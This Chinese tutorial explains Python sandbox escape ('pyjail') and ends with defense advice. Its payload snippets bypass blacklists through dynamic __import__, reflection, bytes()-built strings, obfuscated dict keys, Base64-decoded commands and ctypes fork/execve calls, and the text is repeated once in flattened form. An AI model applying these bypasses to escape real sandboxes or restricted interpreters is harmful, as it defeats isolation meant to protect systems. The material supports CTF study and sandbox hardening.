pyjail逃逸艺术
字数 1208 2025-08-29 08:30:18

Python沙箱逃逸技术详解

1. Python沙箱概述

Python沙箱是一种隔离执行环境,用于限制代码的权限,防止其访问敏感资源。沙箱通常通过以下方式实现限制:

  • 禁用危险模块(如os、subprocess)
  • 过滤关键字和特殊字符
  • 限制函数调用

2. 沙箱逃逸核心思路

2.1 绕过模块禁用

  • 动态导入:使用__import__()函数动态加载被禁用的模块
  • 反射访问:通过getattr()vars()访问模块属性和方法

2.2 突破函数过滤

  • 内置函数利用:使用eval()exec()compile()等内置函数
  • 编码技术:通过Base64、十六进制等编码绕过关键字检测
  • 字符串拼接:分片构造敏感字符串

2.3 内存操作

  • ctypes模块:直接调用底层C函数
  • cffi模块:外部函数接口,类似ctypes

3. bytes构造任意字符串技术

3.1 bytes基本用法

bytes(iterable_of_ints)  # 通过可迭代的整数序列构造字节序列
  • 每个整数代表一个字节值(0-255)
  • 示例:bytes([119, 104, 111, 97, 109, 105])b'whoami'

3.2 字符与字节对应关系

字符 ASCII值
'w' 119
'h' 104
'o' 111
'a' 97
'm' 109
'i' 105

3.3 动态构造技术

  • 列表推导式:避免直接使用逗号和空格
bytes([j for i in range(len("whoami")) for j in range(256) if ...])
  • 条件筛选:动态生成条件语句
"i=={i} and j=={ord(j)}"  # 用于筛选特定字节

4. 黑名单绕过技术

4.1 字符串混淆技术

# 构造"__import__"
dict(_1_1i1m1p1o1r1t1_1_=1).keys()[0][::2]  # 取偶数位字符

4.2 动态导入模块

# 构造"binascii"
list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]

# 动态导入
eval("__import__")("binascii")

4.3 Base64解码执行

# 获取a2b_base64函数
list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]

# 解码并执行Base64编码的命令
vars(binascii)["a2b_base64"](encoded_cmd)

5. ctypes底层调用

5.1 系统调用原理

os.system("ls")的底层实现:

  1. fork():创建子进程
  2. execve():在子进程中执行新程序
  3. waitpid():父进程等待子进程结束

5.2 ctypes示例代码

import ctypes

libc = ctypes.CDLL(None)
fork = libc.fork
execve = libc.execve

pid = fork()
if pid == 0:  # 子进程
    execve("/bin/ls", ["ls", "-l"], None)
else:  # 父进程
    libc.waitpid(pid, 0)

5.3 ctypes危险功能

  • 直接调用系统函数(fork, execve, socket等)
  • 绕过Python层面的所有限制
  • 访问任意系统资源

6. 综合逃逸Payload示例

6.1 动态构造命令执行

# 构造并执行"__import__('os').system('whoami')"
exp = "__import__('os').system('whoami')"
bytes([j for i in range(len(exp)) for j in range(256) if ...]).decode()

6.2 Base64编码命令执行

# 通过binascii解码执行Base64编码的命令
vars(__import__("".join([c for c in "binascii"])))["a2b_base64"]("d2hvYW1p").decode()

7. 防御建议

  1. 禁用危险模块:必须禁用ctypescffi
  2. 严格过滤:过滤所有特殊字符和关键字
  3. 使用安全沙箱:如PyPy沙箱、RestrictedPython
  4. 最小权限原则:仅开放必要功能

8. 总结

Python沙箱逃逸的核心在于:

  • 绕过字符串限制(bytes构造、混淆)
  • 动态加载被禁模块(__import__、反射)
  • 底层系统调用(ctypes)
  • 编码解码技术(Base64)

理解这些技术有助于开发更安全的Python沙箱环境。

Python沙箱逃逸技术详解 1. Python沙箱概述 Python沙箱是一种隔离执行环境,用于限制代码的权限,防止其访问敏感资源。沙箱通常通过以下方式实现限制: 禁用危险模块(如os、subprocess) 过滤关键字和特殊字符 限制函数调用 2. 沙箱逃逸核心思路 2.1 绕过模块禁用 动态导入 :使用 __import__() 函数动态加载被禁用的模块 反射访问 :通过 getattr() 或 vars() 访问模块属性和方法 2.2 突破函数过滤 内置函数利用 :使用 eval() 、 exec() 、 compile() 等内置函数 编码技术 :通过Base64、十六进制等编码绕过关键字检测 字符串拼接 :分片构造敏感字符串 2.3 内存操作 ctypes模块 :直接调用底层C函数 cffi模块 :外部函数接口,类似ctypes 3. bytes构造任意字符串技术 3.1 bytes基本用法 每个整数代表一个字节值(0-255) 示例: bytes([119, 104, 111, 97, 109, 105]) → b'whoami' 3.2 字符与字节对应关系 | 字符 | ASCII值 | |------|--------| | 'w' | 119 | | 'h' | 104 | | 'o' | 111 | | 'a' | 97 | | 'm' | 109 | | 'i' | 105 | 3.3 动态构造技术 列表推导式 :避免直接使用逗号和空格 条件筛选 :动态生成条件语句 4. 黑名单绕过技术 4.1 字符串混淆技术 4.2 动态导入模块 4.3 Base64解码执行 5. ctypes底层调用 5.1 系统调用原理 os.system("ls") 的底层实现: fork() :创建子进程 execve() :在子进程中执行新程序 waitpid() :父进程等待子进程结束 5.2 ctypes示例代码 5.3 ctypes危险功能 直接调用系统函数( fork , execve , socket 等) 绕过Python层面的所有限制 访问任意系统资源 6. 综合逃逸Payload示例 6.1 动态构造命令执行 6.2 Base64编码命令执行 7. 防御建议 禁用危险模块 :必须禁用 ctypes 、 cffi 等 严格过滤 :过滤所有特殊字符和关键字 使用安全沙箱 :如PyPy沙箱、RestrictedPython 最小权限原则 :仅开放必要功能 8. 总结 Python沙箱逃逸的核心在于: 绕过字符串限制(bytes构造、混淆) 动态加载被禁模块( __import__ 、反射) 底层系统调用(ctypes) 编码解码技术(Base64) 理解这些技术有助于开发更安全的Python沙箱环境。